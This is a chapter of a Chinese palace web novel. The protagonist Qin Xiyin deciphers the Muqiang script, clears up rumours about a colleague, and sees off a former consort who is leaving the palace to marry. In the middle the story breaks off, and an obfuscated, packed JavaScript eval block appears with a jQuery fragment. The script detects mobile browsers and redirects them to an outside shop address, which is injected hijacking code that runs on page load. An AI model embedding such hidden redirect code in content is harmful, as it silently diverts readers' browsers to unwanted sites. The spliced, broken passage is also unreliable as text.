第一句话,很可能是“带上我的礼物/聘礼”之类的意思。
由于第一句话只推断出来一个“我”,很难推测其他三个字是什么意思,暂时略过。
而第二句话,应该就是描述这个新郎骑着马去接新娘。
所以,第二句话很可能是“骑我骏马”“乘我大马”“骑我黑马”“骑我白马”之类的,具体的字暂时没法确定。但是,第二句话的第一个字,很可能代表“骑”或者“乘”,这样,范围就缩小了。
而第二句话的第三个字,八成是用来形容马的,但具体是什么字很难确定。唯一能确定的是,可能不是“骏马”,因为“骏”字比较复杂。当初编这首民歌的人,可能会用一些简单的字,比如“黑马”“灰马”“大马”“白马”“红马”等等。但是,黑、灰、白、大、红等字相去甚远,也没法立即确定。
第三句话,大概意思是在描述新郎欢快的心情,或是在描述新郎这一路上见到的风景,等等。由于第三句话的四个字都不知道是什么,所以现在也不能确定,只能根据歌谣的常理,推测出它大概是在写什么。
而第四句话,大概率就是“娶我卓玛”了。
秦惜音最有信心的,就是这第四句话。
如果自己真的猜对了,那么,她一下子就破译了四个字,进度已经完成了。
而且,她还能分一个字给闻长海。之前说好了,如果自己破译了一些文字,就分一部分给闻长海,反正至少要分一个字,以报答他的帮忙。
要确定自己猜得对不对,可以找别的文字资料来验证。
比如,她猜测某个字是“我”的意思,就去找其他的史料里有没有这个字,有的话,试着把“我”代入进去,看看通不通顺。
于是,秦惜音立刻投入到这个工作中去。
她找到了好几个字形相同,但是在别的文章或歌谣中出现的字,把自己猜测的字代入进去。
有的地方能说得通,也有的地方是不能确定的,因为不认识的字太多了。
但不论怎样,她越验证,就越觉得自己猜对了。即便不能打包票,也有六七分的可能是对的。
她打算等第二天其他学士们都来了,把自己的发现告诉大家。
忙了许久,她也累了,就先回房休息了。
离开之前,她留了个心眼,把自己刚才翻过的书都放回原位,自己写过字的那些纸,也都收起来,自己拿走了。
晚上,秦惜音按捺下激动的心情,逼自己入睡。
只有睡得好,第二天精神才能好。
她预感到,自己一下子猜测好几个字的意思,明天必有一番辩论,必须养精蓄锐才行。
第二天一早,秦惜音洗漱完毕,就来到了集贤殿书院。
书院里负责破译木羌族文字的学士一共三十个,秦惜音等人来得差不多了之后,才把自己昨天的发现告诉众人。
众学士都很惊讶,他们不信秦惜音能一下子破译四个字。
于是,秦惜音把自己推断的过程都告诉了学士们。
大部分学士都觉得秦惜音的推测有道理。于是,他们帮着秦惜音一同验证。
验证了一个早上后,众学士一致同意,说秦惜音所猜测的几个字,应该都猜对了。那首歌谣的最后一句,应该就是“娶我卓玛”。
至于第二句话,在大家的共同努力下,猜测出应该是“骑我大马”四个字。
这样,破译的文字一下子多了好几个,可以继续代入进那些比较长的文章或歌谣,去破译剩下的字。
一个老学士夸赞道:“秦典籍,您真是太厉害了,难怪皇上会派你来协助我们。年轻人的脑子就是好使啊,一晚上就破译出四个字。”
秦惜音笑道:“其实,那个‘我’字是闻长海学士提示我的,我也是在他的基础上,破译了其他几个文字。所以,闻学士也有功劳。”
大家又开始夸赞闻长海,闻长海有些不好意思,向秦惜音投去感激的目光。
过了一会,闻长海单独把秦惜音拉到一边,说道:“秦典籍,我突然觉得,抢走你的功劳挺难为情的。以后你破译出来的文字,就别说成是我破译的了。今天这个‘我’字,我就承你的情。以后我会报答你。
我一个大男人,还要从女人那里抢功劳,挺不好的。”
秦惜音笑道:“没关系,这是我们之前说好的。”
“我昨天确实是对破译文字的功劳有点心动,但你真的把功劳分给我,我才发现我没这个脸去拿……总之,以后你不必分功劳给我了。要不然,我都没脸在这里待下去了。”
“好吧,那就听你的。”
大概中午时分,顾清远也来了。
大家看到顾清远,都露出意味深长的笑容。
其中有个学士打趣道:“喂,顾清远,你不是病了吗?听说秦典籍在这里,你的病又好了?还能跑过来干活了?”
顾清远赶紧解释道:“其实,大家都误会了……我跟秦典籍不是你们想的那样。她长得像我早夭的堂妹,所以我之前才对她比较亲近。怪我没说清楚,有损秦典籍的名声。
总之,大家以后别乱传谣言了。”
听顾清远这么说,众人都很惊讶。
但是,大家也不好再说什么。
秦惜音放下心来,心情很好。
现在,皇上让她办的三件事,她都办到了。
破译木羌族文字最难,但她竟然一下子破译了四个。
接下来还剩三天时间,她决定继续努力,多破译几个字。
这样,说不定自己会有更多的好处。
顾清远澄清完毕后,脸色有点白,坐到自己的位置上干活。
大概是因为他觉得有些丢脸,也一直没有抬头看别人。别人跟他说话,他也是三言两语就结束了对话,兴致不高。
而秦惜音的位置跟他相隔比较远,两人可以不必接触。
相信随着时间的推移,两人之间的尴尬氛围会越来越小。
也有一些陌生的学士跑到秦惜音身边,小声询问她,顾清远所说的是不是真的。
秦惜音都回答道:“确实如此,我跟顾学士之间不是你们想的那样。我也为了之前的流言,去顾家拜访过。顾学士和他的父母都亲自对我解释了,我长得确实像顾学士早夭的堂妹。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751634|190012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
见秦惜音也这样说,一些喜欢撮合别人的人也都不说什么了,只是心里觉得有点可惜而已。
接下来的几天,秦惜音继续认真研究木羌族文字,竟然又破译了8个字。加上之前的几个,一共破译了11个字。
五天时间结束后,秦惜音把自己的成果告诉皇帝,皇帝十分高兴。
皇帝对秦惜音说道:“秦典籍,接下来你继续破译木羌族文字,其他事情都不用管。等这项工作完成,朕一定重赏你。”
秦惜音欣喜道:“谢皇上。”
几天后,冷宫的宁太妃穿着红衣出嫁了。她现在已经不是废妃,去送嫁的人都称她为宁姑姑。
秦惜音也带着几个朋友去送行。
宁氏的本名叫宁淑景,她挽着秦惜音的手,有些激动地说:“惜音,没有你,就没有我的今日……以后若有重逢之日,我一定会报答你的。”
秦惜音亦有些动容,说道:“宁姑姑,以后我若是出宫了,一定会去看您。”
“好,就这么说定了。”
宁淑景把自己的新住址交给了秦惜音。那个住址,是她年轻时和情郎一起买的房子,预备着成亲用的。
没想到,时隔五十多年才用上。
以后,她会和情郎的牌位一起住在里面。
远处,也有一些妃嫔、宫人在看着这边,窃窃私语,神情似乎在看热闹。
毕竟,废妃出嫁,也算是一桩奇闻了。
宁淑景没有理会那些不善的目光,光明正大地从皇宫正门走了出去。
五十多年前,她是被人打晕了,抬进来的。
现在,她终于走出去了。
当年的她花容月貌,如朝阳初升;
如今的她垂垂老矣,如夕阳西照。
宫门的一开一合之间,转眼便是五十余年的悲辛。
送别宁淑景后,秦惜音继续回集贤殿书院干活。
她几乎每天都会见到顾清远,顾清远每次都不敢直视她,她反而大大方方地打招呼,心中毫不在意。
顾清远大概是因为偷鸡不成蚀把米,心态大受影响,这些天工作上也频频出错,被上级责骂。
秦惜音心中暗暗高兴,面上却没表现出来。
与之相反的是,秦惜音这边的工作进展却一片向好,她跟学士们合作,又破译了好几个木羌族的文字。
闻长海也偷偷把自己的妹妹带来,安置在一间空屋子里,让妹妹学习。
集贤殿书院的空屋子也挺多的,他妹妹随便选一间,也无人打扰。
秦惜音有空的时候,就会去辅导那个小姑娘。
闻长海的妹妹叫闻玉蟾,长相也是平平,一张圆圆的大脸,五官却不大,皮肤黝黑,跟闻长海长得有几分相似。
不过,闻玉蟾挺有才华的,也自小喜欢读书。所以,秦惜音辅导起她来,倒也不费劲。
离下一次的女官考试还有两个月,秦惜音觉得,闻玉蟾应该能考上。
又过了几日,是秦惜音休沐的日子。
她先回了自己的房间,收拾一下。一会她打算出门见高毅。
这时,却有人来访。